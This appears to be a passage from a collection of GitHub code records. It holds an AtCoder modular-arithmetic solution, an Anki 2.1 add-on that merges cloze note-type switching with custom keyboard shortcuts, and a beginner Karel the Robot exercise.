Coding Test/05 DFS n BFS/pastQ19.py","file_name":"pastQ19.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"13736983740","text":"import sys\nsys.setrecursionlimit(10**7)\ninput = sys.stdin.readline\n\nm = 2019\nt = input().rstrip()\ns = t[::-1]\n\nx = 1\ntot = 0\nans = 0\ncnt = [0] * (m)\nfor i in range(len(s)):\n    cnt[tot] += 1\n    tot += (int(s[i])) * x\n    tot %= m\n    ans += cnt[tot]\n    x = x * 10 % m\nprint(ans)\n","repo_name":"urawa72/procon","sub_path":"atcorder/abc164/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"31523772296","text":"# Mode: Python; coding: utf-8\r\n#GODMODE Cloze and Custom Keyboard Shortcuts\n#Code compiled by Joseph Yasmeh for Anki 2.1 on Mac on April 2019.\n#My main contribution to this code is figuring out how to disable unneccessary tooltip notifications, how to get answer shortcuts to flip the card without moving to the next card, and how to merge a couple addons into one, so that they work together.\n#\n#The code for shortcuts is by Liresol (erichu264@gmail.com), from the addon Customize Keyboard Shortcuts\n#I attempted to make GODMODE with its own limited shortcuts, but found that it interfered the above addon.\n#So the easiest solution for me was to merge the two addons into one so that they don't conflict.\n#\n#The code for automatic note type switching is not my own. Credit goes to:\n#Hyun Woo Park (phu54321@naver.com),\n#Roland Sieker (ospalh@gmail.com), and\n#Steve AW (steveawa@gmail.com)\n#\n#The above authors made their code free to use and modify under GNU GPL. This code is too.\n#\n#To learn how to make \"monkey patch\" add-ons, see https://apps.ankiweb.net/docs/addons.html#monkey-patching-and-method-wrapping\n#\n#CHANGELOG\n#July 17 2019: Edited \"reviewer choice\" in config.json to fix a bug where 1234 was set to flip cards (and then #always rate as good) rather than rate them as hard, good, or easy.\n#August 17 2019: Edited \"window_browser add note\" config.json to fix a bug where Ctrl+E would not make a new Cloze when the browser was open, given that shortcut was also being used for adding a card when the browser is open.\n#January 28 2020: Fixed a bug only some users saw on Mac and Windows where cards could not be added. Removed global references, which were not being acknowledged for some users. Fixed a Python \"TypeError\" in the function \"change_model_to.\"\n#June 9 2020: Updated to cs_toolbarCenterLinks to work with Anki versions above 2.21. The function it referred to was changed in Anki, so I changed the syntax to match it.\n\n########################################################################\n#SECTION 1\n#Telling the software what to import. Some of these are redundant because I'm copying and pasting my old code.\n########################################################################\nfrom aqt import mw\nfrom aqt.qt import *\nfrom anki.hooks import runHook,addHook\nfrom aqt.utils import showWarning\nfrom aqt.toolbar import Toolbar\nfrom aqt.editor import Editor,EditorWebView\nfrom aqt.reviewer import Reviewer\nfrom anki.utils import json\nfrom bs4 import BeautifulSoup\nimport warnings\nfrom . import cs_functions as functions\nfrom aqt import mw\r\nfrom aqt.addcards import AddCards\r\nfrom anki.hooks import wrap\r\nfrom anki.hooks import addHook, runHook\r\nfrom aqt.utils import tooltip\r\nfrom anki.lang import _\r\nfrom anki import version\r\nimport re\nfrom aqt.utils import tooltip, showInfo\r\nfrom anki.hooks import wrap\r\nimport aqt.editor\r\nfrom aqt.editor import *\n\n\n\n########################################################################\n#SECTION 2\n#Redefining how Anki deals with Cloze creation\n#Deleted the tooltip warning given it is now redundant\n#I tried to use the method of saving the original code and calling a custom version, as mentioned monkey patching section of the Anki 2.1 addon creation documentation\n#But the code wouldn't work. So if something breaks with the addon in future Anki versions, look here and in section 5.\n########################################################################\ndef onClozeADDON(self):\n\tself.saveNow(self._onCloze, keepFocus=True)\n\nEditor.onCloze = onClozeADDON\n\ndef _onClozeADDON(self):\n\thighest = 0\n\tfor name, val in list(self.note.items()):\n\t\tm = re.findall(r\"\\{\\{c(\\d+)::\", val)\n\t\tif m:\n\t\t\thighest = max(highest, sorted([int(x) for x in m])[-1])\n\t# reuse last\n\tif not self.mw.app.keyboardModifiers() & Qt.ShiftModifier:\n\t\thighest += 1\n\t# must start at 1\n\thighest = max(1, highest)\n\tself.web.eval(\"wrap('{{c%d::', '}}');\" % highest)\n\nEditor._onCloze = _onClozeADDON\n\n\n\n########################################################################\n#SECTION 3\n#This section of code does the automatic note type switching.\n########################################################################\n\ndef modelExists(model_name):\r\n    return bool(mw.col.models.byName(model_name))\r\n\r\ndef findModelName():\r\n    basic_note_type = list(filter(modelExists, ['Basic', _('Basic')]))\r\n    cloze_note_type = list(filter(modelExists, ['Cloze', _('Cloze')]))\r\n\r\n    if not basic_note_type:\r\n        tooltip('[Automatic basic to cloze] Cannot find source \\'Basic\\' model')\r\n        basic_note_type = None\r\n\r\n    if not cloze_note_type:\r\n        tooltip('[Automatic basic to cloze] Cannot find target \\'Cloze\\' model')\r\n        cloze_note_type = None\r\n    else:\r\n        cloze_note_type = cloze_note_type[0]\r\n\r\naddHook(\"profileLoaded\", findModelName)\r\n\r\n#This function changes the models (note types).\r\n# TypeError fixed an older bug from the newAddCards function, where Python got upset that ModelName was set equal to none.\r\ndef change_model_to(chooser, model_name):\r\n    \"\"\"Change to model with name model_name\"\"\"\r\n    # Mostly just a copy and paste from the bottom of onModelChange()\r\n    m = chooser.deck.models.byName(model_name)\r\n    try:\r\n        chooser.deck.conf['curModel'] = m['id']\r\n    except TypeError:\r\n        return\r\n    cdeck = chooser.deck.decks.current()\r\n    cdeck['mid'] = m['id']\r\n    chooser.deck.decks.save(cdeck)\r\n    runHook(\"currentModelChanged\")\r\n    chooser.mw.reset()\r\n\r\ndef isClozeNote(note):\r\n    for name, val in note.items():\r\n        if re.search(r'\\{\\{c(\\d+)::', val):\r\n            return True\r\n    return False\r\n\r\n#If you don't use this, tags won't save when models switch.\r\ndef callWithCallback(f, cb):\r\n        f(cb)\r\n\r\n#Joseph changed the tooltip notification to \"Added\" to remove the unneccesary warning note type switching.\r\n#Also set modelchooser to go to specific note type names. This fixed a bug some users had.\r\ndef newAddCards(self, _old):\r\n    note = self.editor.note\r\n    basic_note_type = list(filter(modelExists, ['Basic', _('Basic')]))\r\n    cloze_note_type = list(filter(modelExists, ['Cloze', _('Cloze')]))\r\n\r\n    if not (basic_note_type and cloze_note_type):\r\n        return _old(self)\r\n    if note.model()['name'] in basic_note_type and isClozeNote(note):\r\n        def cb1():\r\n            change_model_to(self.modelChooser, 'Cloze')\r\n            callWithCallback(self.editor.saveNow, cb2)\r\n        def cb2():\r\n            self._addCards()\r\n            change_model_to(self.modelChooser, 'Basic')\r\n            tooltip(_(\"Added\"), period=500)\r\n        callWithCallback(self.editor.saveNow, cb1)\r\n    else:\r\n        return _old(self)\r\n\r\nAddCards.addCards = wrap(AddCards.addCards, newAddCards, \"around\")\n\n#This disables the prompt for changing the note type.\n#I deleted the block of code that checks if the card type is set to Cloze.\ndef addNoteADDON(self, note):\n        note.model()['did'] = self.deckChooser.selectedId()\n        ret = note.dupeOrEmpty()\n        if ret == 1:\n            showWarning(_(\n                \"The first field is empty.\"),\n                help=\"AddItems#AddError\")\n            return\n        cards = self.mw.col.addNote(note)\n        if not cards:\n            showWarning(_(\"\"\"\\\nThe input you have provided would make an empty \\\nquestion on all cards.\"\"\"), help=\"AddItems\")\n            return None\n        self.addHistory(note)\n        self.mw.requireReset()\n        return note\n\r\nAddCards.addNote = addNoteADDON\n\n\n\n########################################################################\n#SECTION 4\n#This section is from the add-on Customize Keyboard Shortcuts\n########################################################################\n#Gets config.json as config\nconfig = mw.addonManager.getConfig(__name__)\nCS_CONFLICTSTR = \"Custom Shortcut Conflicts: \\n\\n\"\n#config_scuts initialized after cs_traverseKeys\nQt_functions = {\"Qt.Key_Enter\":Qt.Key_Enter,\n                \"Qt.Key_Return\":Qt.Key_Return,\n                \"Qt.Key_Escape\":Qt.Key_Escape,\n                \"Qt.Key_Space\":Qt.Key_Space,\n                \"Qt.Key_Tab\":Qt.Key_Tab,\n                \"Qt.Key_Backspace\":Qt.Key_Backspace,\n                \"Qt.Key_Delete\":Qt.Key_Delete,\n                \"Qt.Key_Left\":Qt.Key_Left,\n                \"Qt.Key_Down\":Qt.Key_Down,\n                \"Qt.Key_Right\":Qt.Key_Right,\n                \"Qt.Key_Up\":Qt.Key_Up,\n                \"Qt.Key_PageUp\":Qt.Key_PageUp,\n                \"Qt.Key_PageDown\":Qt.Key_PageDown,\n                \"<nop>\":\"\"\n                }\n\n#There is a weird interaction with QShortcuts wherein if there are 2 (or more)\n#QShortcuts mapped to the same key and function and both are enabled,\n#the shortcut doesn't work\n\n#Part of this code exploits that by adding QShortcuts mapped to the defaults\n#and activating/deactivating them to deactivate/activate default shortcuts\n\n#There isn't an obvious way to get the original QShortcut objects, as\n#The addons executes after the setup phase (which creates QShortcut objects)\n\ndef cs_traverseKeys(Rep, D):\n    ret = {}\n    for key in D:\n        if isinstance(D[key],dict):\n            ret[key] = cs_traverseKeys(Rep,D[key])\n        elif D[key] not in Rep:\n            ret[key] = D[key]\n        else:\n            ret[key] = Rep[D[key]]\n    return ret\n\nconfig_scuts = cs_traverseKeys(Qt_functions,config)\n\n#This is the worst code I think I've written for custom-shortcuts\n#Since QShortcuts cannot reveal their action (to the best of my knowledge),\n#This map reconstructs what each QShortcut is supposed to do from its id\n#The ids were found manually and are thus incredibly dubious\nid_main_config = {-1: \"main debug\",\n                  -2: \"main deckbrowser\",\n                  -3: \"main study\",\n                  -4: \"main add\",\n                  -5: \"main browse\",\n                  -6: \"main stats\",\n                  -7: \"main sync\"\n                  }\n\n#Finds all the shortcuts, figures out relevant ones from hardcoded id check,\n#and sets it to the right one\n#This function has a side effect of changing the shortcut's id\ndef cs_main_setupShortcuts():\n    qshortcuts = mw.findChildren(QShortcut)\n    for scut in qshortcuts:\n        if scut.id() in id_main_config:\n            scut.setKey(config_scuts[id_main_config[scut.id()]])\n\n\n#Governs the shortcuts on the main toolbar\ndef cs_mt_setupShortcuts():\n    m = mw.form\n    #Goes through and includes anything on the duplicates list\n    scuts_list = {\n        \"m_toolbox quit\": [config_scuts[\"m_toolbox quit\"]],\n        \"m_toolbox preferences\": [config_scuts[\"m_toolbox preferences\"]],\n        \"m_toolbox undo\": [config_scuts[\"m_toolbox undo\"]],\n        \"m_toolbox see documentation\": [config_scuts[\"m_toolbox see documentation\"]],\n        \"m_toolbox switch profile\": [config_scuts[\"m_toolbox switch profile\"]],\n        \"m_toolbox export\": [config_scuts[\"m_toolbox export\"]],\n        \"m_toolbox import\": [config_scuts[\"m_toolbox import\"]],\n        \"m_toolbox study\": [config_scuts[\"m_toolbox study\"]],\n        \"m_toolbox create filtered deck\": [config_scuts[\"m_toolbox create filtered deck\"]],\n        \"m_toolbox addons\": [config_scuts[\"m_toolbox addons\"]]\n    }\n    for act,key in config_scuts[\"m_toolbox _duplicates\"].items():\n        scuts_list[act].append(key)\n    m.actionExit.setShortcuts(scuts_list[\"m_toolbox quit\"])\n    m.actionPreferences.setShortcuts(scuts_list[\"m_toolbox preferences\"])\n    m.actionUndo.setShortcuts(scuts_list[\"m_toolbox undo\"])\n    m.actionDocumentation.setShortcuts(scuts_list[\"m_toolbox see documentation\"])\n    m.actionSwitchProfile.setShortcuts(scuts_list[\"m_toolbox switch profile\"])\n    m.actionExport.setShortcuts(scuts_list[\"m_toolbox export\"])\n    m.actionImport.setShortcuts(scuts_list[\"m_toolbox import\"])\n    m.actionStudyDeck.setShortcuts(scuts_list[\"m_toolbox study\"])\n    m.actionCreateFiltered.setShortcuts(scuts_list[\"m_toolbox create filtered deck\"])\n    m.actionAdd_ons.setShortcuts(scuts_list[\"m_toolbox addons\"])\n\n#Governs the shortcuts on the review window\ndef cs_review_setupShortcuts(self):\n    dupes = []\n    ret = [\n        (config_scuts[\"reviewer edit current\"], self.mw.onEditCurrent),\n        (config_scuts[\"reviewer flip card 1\"], self.onEnterKey),\n        (config_scuts[\"reviewer flip card 2\"], self.onEnterKey),\n        (config_scuts[\"reviewer flip card 3\"], self.onEnterKey),\n        (config_scuts[\"reviewer replay audio 1\"], self.replayAudio),\n        (config_scuts[\"reviewer replay audio 2\"], self.replayAudio),\n        (config_scuts[\"reviewer set flag 1\"], lambda: self.setFlag(1)),\n        (config_scuts[\"reviewer set flag 2\"], lambda: self.setFlag(2)),\n        (config_scuts[\"reviewer set flag 3\"], lambda: self.setFlag(3)),\n        (config_scuts[\"reviewer set flag 4\"], lambda: self.setFlag(4)),\n        (config_scuts[\"reviewer set flag 0\"], lambda: self.setFlag(0)),\n        (config_scuts[\"reviewer mark card\"], self.onMark),\n        (config_scuts[\"reviewer bury note\"], self.onBuryNote),\n        (config_scuts[\"reviewer bury card\"], self.onBuryCard),\n        (config_scuts[\"reviewer suspend note\"], self.onSuspend),\n        (config_scuts[\"reviewer suspend card\"], self.onSuspendCard),\n        (config_scuts[\"reviewer delete note\"], self.onDelete),\n        (config_scuts[\"reviewer play recorded voice\"], self.onReplayRecorded),\n        (config_scuts[\"reviewer record voice\"], self.onRecordVoice),\n        (config_scuts[\"reviewer options menu\"], self.onOptions),\n        (config_scuts[\"reviewer choice 1\"], lambda: self._answerCard(1)),\n        (config_scuts[\"reviewer choice 2\"], lambda: self._answerCard(2)),\n        (config_scuts[\"reviewer choice 3\"], lambda: self._answerCard(3)),\n        (config_scuts[\"reviewer choice 4\"], lambda: self._answerCard(4)),\n    ]\n    for scut in config_scuts[\"reviewer _duplicates\"]:\n        dupes.append((config_scuts[\"reviewer _duplicates\"][scut],self.sToF(scut)))\n    return dupes + ret\n\n#The function to setup shortcuts on the Editor\n#Something funky is going on with the default MathJax and LaTeX shortcuts\n#It does not affect the function (as I currently know of)\ndef cs_editor_setupShortcuts(self):\n    # if a third element is provided, enable shortcut even when no field selected\n    cuts = [\n        (config_scuts[\"editor card layout\"], self.onCardLayout, True),\n        (config_scuts[\"editor bold\"], self.toggleBold),\n        (config_scuts[\"editor italic\"], self.toggleItalic),\n        (config_scuts[\"editor underline\"], self.toggleUnderline),\n        (config_scuts[\"editor superscript\"], self.toggleSuper),\n        (config_scuts[\"editor subscript\"], self.toggleSub),\n        (config_scuts[\"editor remove format\"], self.removeFormat),\n        (config_scuts[\"editor foreground\"], self.onForeground),\n        (config_scuts[\"editor change col\"], self.onChangeCol),\n        (config_scuts[\"editor cloze\"], self.onCloze),\n        (config_scuts[\"editor cloze alt\"], self.onAltCloze),\n        (config_scuts[\"editor add media\"], self.onAddMedia),\n        (config_scuts[\"editor record sound\"], self.onRecSound),\n        (config_scuts[\"editor insert latex\"], self.insertLatex),\n        (config_scuts[\"editor insert latex equation\"], self.insertLatexEqn),\n        (config_scuts[\"editor insert latex math environment\"], self.insertLatexMathEnv),\n        (config_scuts[\"editor insert mathjax inline\"], self.insertMathjaxInline),\n        (config_scuts[\"editor insert mathjax block\"], self.insertMathjaxBlock),\n        (config_scuts[\"editor insert mathjax chemistry\"], self.insertMathjaxChemistry),\n        (config_scuts[\"editor html edit\"], self.onHtmlEdit),\n        (config_scuts[\"editor focus tags\"], self.onFocusTags, True),\n        (config_scuts[\"editor _extras\"][\"paste custom text\"], self.customPaste)\n    ]\n    runHook(\"setupEditorShortcuts\", cuts, self)\n    for row in cuts:\n        if len(row) == 2:\n            keys, fn = row\n            fn = self._addFocusCheck(fn)\n        else:\n            keys, fn, _ = row\n        scut = QShortcut(QKeySequence(keys), self.widget, activated=fn)\n\n#IMPLEMENTS Browser shortcuts\ndef cs_browser_setupShortcuts(self):\n    f = self.form\n    f.previewButton.setShortcut(config_scuts[\"window_browser preview\"])\n    f.actionReschedule.setShortcut(config_scuts[\"window_browser reschedule\"])\n    f.actionSelectAll.setShortcut(config_scuts[\"window_browser select all\"])\n    f.actionUndo.setShortcut(config_scuts[\"window_browser undo\"])\n    f.actionInvertSelection.setShortcut(config_scuts[\"window_browser invert selection\"])\n    f.actionFind.setShortcut(config_scuts[\"window_browser find\"])\n    f.actionNote.setShortcut(config_scuts[\"window_browser goto note\"])\n    f.actionNextCard.setShortcut(config_scuts[\"window_browser goto next note\"])\n    f.actionPreviousCard.setShortcut(config_scuts[\"window_browser goto previous note\"])\n    f.actionChangeModel.setShortcut(config_scuts[\"window_browser change note type\"])\n    f.actionGuide.setShortcut(config_scuts[\"window_browser guide\"])\n    f.actionFindReplace.setShortcut(config_scuts[\"window_browser find and replace\"])\n    f.actionTags.setShortcut(config_scuts[\"window_browser filter\"])\n    f.actionCardList.setShortcut(config_scuts[\"window_browser goto card list\"])\n    f.actionReposition.setShortcut(config_scuts[\"window_browser reposition\"])\n    f.actionFirstCard.setShortcut(config_scuts[\"window_browser first card\"])\n    f.actionLastCard.setShortcut(config_scuts[\"window_browser last card\"])\n    f.actionClose.setShortcut(config_scuts[\"window_browser close\"])\n    f.action_Info.setShortcut(config_scuts[\"window_browser info\"])\n    f.actionAdd_Tags.setShortcut(config_scuts[\"window_browser add tag\"])\n    f.actionRemove_Tags.setShortcut(config_scuts[\"window_browser remove tag\"])\n    f.actionToggle_Suspend.setShortcut(config_scuts[\"window_browser suspend\"])\n    f.actionDelete.setShortcut(config_scuts[\"window_browser delete\"])\n    f.actionAdd.setShortcut(config_scuts[\"window_browser add note\"])\n    f.actionChange_Deck.setShortcut(config_scuts[\"window_browser change deck\"])\n    f.actionRed_Flag.setShortcut(config_scuts[\"window_browser flag_red\"])\n    try:\n        f.actionOrange_Flag.setShortcut(config_scuts[\"window_browser flag_orange\"])\n    except AttributeError:\n        f.actionPurple_Flag.setShortcut(config_scuts[\"window_browser flag_orange\"])\n    f.actionGreen_Flag.setShortcut(config_scuts[\"window_browser flag_green\"])\n    f.actionBlue_Flag.setShortcut(config_scuts[\"window_browser flag_blue\"])\n    f.actionSidebar.setShortcut(config_scuts[\"window_browser goto sidebar\"])\n    f.actionToggle_Mark.setShortcut(config_scuts[\"window_browser toggle mark\"])\n    f.actionClear_Unused_Tags.setShortcut(config_scuts[\"window_browser clear unused tags\"])\n    f.actionFindDuplicates.setShortcut(config_scuts[\"window_browser find duplicates\"])\n    f.actionSelectNotes.setShortcut(config_scuts[\"window_browser select notes\"])\n    f.actionManage_Note_Types.setShortcut(config_scuts[\"window_browser manage note types\"])\n\n\n\n\n#detects shortcut conflicts\n#Ignores the Add-on (Ω) options\ndef cs_conflictDetect():\n    if config[\"Ω enable conflict warning\"].upper() != \"Y\":\n        return\n    ext_list = {}\n    dupes = False\n    for e in config:\n        sub = e[0:(e.find(\" \"))]\n        val = config[e]\n        if sub in ext_list:\n            if isinstance(val,dict):\n                for key in val:\n                    ext_list[sub][key + \" in \" + e] = val[key].upper()\n            else:\n                ext_list[sub][e] = val.upper()\n        elif sub != \"Ω\":\n            ext_list[sub] = {e:val.upper()}\n    inv = {}\n    conflictStr = CS_CONFLICTSTR\n    conflict = False\n    for key in ext_list:\n        inv = {}\n        x = ext_list[key]\n        for e in x:\n            if x[e] not in inv:\n                inv[x[e]] = [e]\n            else:\n                inv[x[e]].append(e)\n        for k in inv:\n            if(len(inv[k])) == 1:\n                continue\n            if k == \"<NOP>\":\n                continue\n            if not k:\n                continue\n            conflict = True\n            conflictStr += \", \".join(inv[k])\n            conflictStr += \"\\nshare '\" + k + \"' as a shortcut\\n\\n\"\n    if conflict:\n        conflictStr += \"\\nThese shortcuts will not work.\\n\"\n        conflictStr += \"Please change them in the config.json.\"\n        showWarning(conflictStr)\n\ndef cs_toolbarCenterLinks(self) -> str:\n    links = [\n        self.create_link(\n            \"decks\",\n            _(\"Decks\"),\n            self._deckLinkHandler,\n            tip=_(\"Shortcut key: %s\") % config_scuts[\"main deckbrowser\"],\n            id=\"decks\",\n        ),\n        self.create_link(\n            \"add\",\n            _(\"Add\"),\n            self._addLinkHandler,\n            tip=_(\"Shortcut key: %s\") % config_scuts[\"main add\"],\n            id=\"add\",\n        ),\n        self.create_link(\n            \"browse\",\n            _(\"Browse\"),\n            self._browseLinkHandler,\n            tip=_(\"Shortcut key: %s\") % config_scuts[\"main browse\"],\n            id=\"browse\",\n        ),\n        self.create_link(\n            \"stats\",\n            _(\"Stats\"),\n            self._statsLinkHandler,\n            tip=_(\"Shortcut key: %s\") % config_scuts[\"main stats\"],\n            id=\"stats\",\n        ),\n    ]\n\n    links.append(self._create_sync_link())\n\n    gui_hooks.top_toolbar_did_init_links(links, self)\n\n    return \"\\n\".join(links)\n\n#Functions that execute on startup\nEditor.customPaste = functions.cs_editor_custom_paste\nEditor._customPaste = functions.cs_uEditor_custom_paste\nEditor.onAltCloze = functions.cs_editor_onAltCloze\nEditor._onAltCloze = functions.cs_uEditor_onAltCloze\nReviewer.sToF = functions.review_sToF\nEditor.setupShortcuts = cs_editor_setupShortcuts\nReviewer._shortcutKeys = cs_review_setupShortcuts\nToolbar._centerLinks = cs_toolbarCenterLinks\n\n\n#Shortcut setup for main window & other startup functions\ncs_mt_setupShortcuts()\ncs_main_setupShortcuts()\ncs_conflictDetect()\n\n#Redraws the toolbar with the new shortcuts\nmw.toolbar.draw()\n\n#Hooks to setup shortcuts at the right time\naddHook('browser.setupMenus', cs_browser_setupShortcuts)\n\n\n########################################################################\n#SECTION 5\n#This code shows the answer when you press the shortcuts for again, hard, good or easy.\n#By default, Anki's code won't flip the card when you press those shortcuts--it would just go to the next card\n#This solution was written entirely by Joseph. Yay.\n#I tried to use the method of saving the original code and calling a custom version, as mentioned monkey patching section of the Anki 2.1 addon creation documentation\n#But the code wouldn't work. So if something breaks with the addon in future Anki versions, look here and in section 2.\n########################################################################\n\nfrom aqt.reviewer import Reviewer\n\ndef _answerCardADDON(self, ease):\n        \"Call custom function for compatibility with ColorConfirmation add-on. Solution by MacMarc.\"\n        try:\n                self.CustomAnswerCard(ease)\n        except Exception as e:\n                pass\n        \"Reschedule card and show next.\"\n        if self.mw.state != \"review\":\n            # showing resetRequired screen; ignore key\n            return\n        if self.mw.col.sched.answerButtons(self.card) < ease:\n            return\n        if self.state == \"question\":\n                self._getTypedAnswer()\n        if self.state == \"answer\":\n                self.mw.col.sched.answerCard(self.card, ease)\n                self._answeredIds.append(self.card.id)\n                self.mw.autosave()\n                self.nextCard()\n\nReviewer._answerCard = _answerCardADDON\n","repo_name":"Joseph-Y/godmode","sub_path":"custom_shortcuts.py","file_name":"custom_shortcuts.py","file_ext":"py","file_size_in_byte":23488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1105846706","text":"from karel.stanfordkarel import *\n\n# Here is a place to program your Section problem\n\ndef main():\n    \"\"\"\n    You should write your code to make Karel do its task in\n    this function. Make sure to delete the 'pass' line before\n    starting to write your own code. You should also delete this\n    comment and replace it with a better, more descriptive one.\n    \"\"\"\n    while front_is_clear():\n        if beepers_present():\n            build_hospital()\n            \n        safe_move()\n        \ndef safe_move():\n    if front_is_clear():\n        move()\n        \n#building hospital \ndef build_hospital():\n    ascend_hurdle()\n    move()\n    descend_hurdle()\n    \ndef ascend_hurdle():\n    turn_left()\n    for i in range(2):\n        move()\n        put_beeper()\n    turn_right()\n    \ndef descend_hurdle():\n    turn_right()\n    #put_beeper()\n    for i in range(2):\n        put_beeper()\n        move()\n    put_beeper()\n    turn_left()\n    \ndef turn_right():\n    for i in range(3):\n        turn_left()\nif __name__ == '__main__':\n    main()","repo_name":"momofAnAl/Working-with-Karel-the-Robot","sub_path":"build_hospital.py","file_name":"build_hospital.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}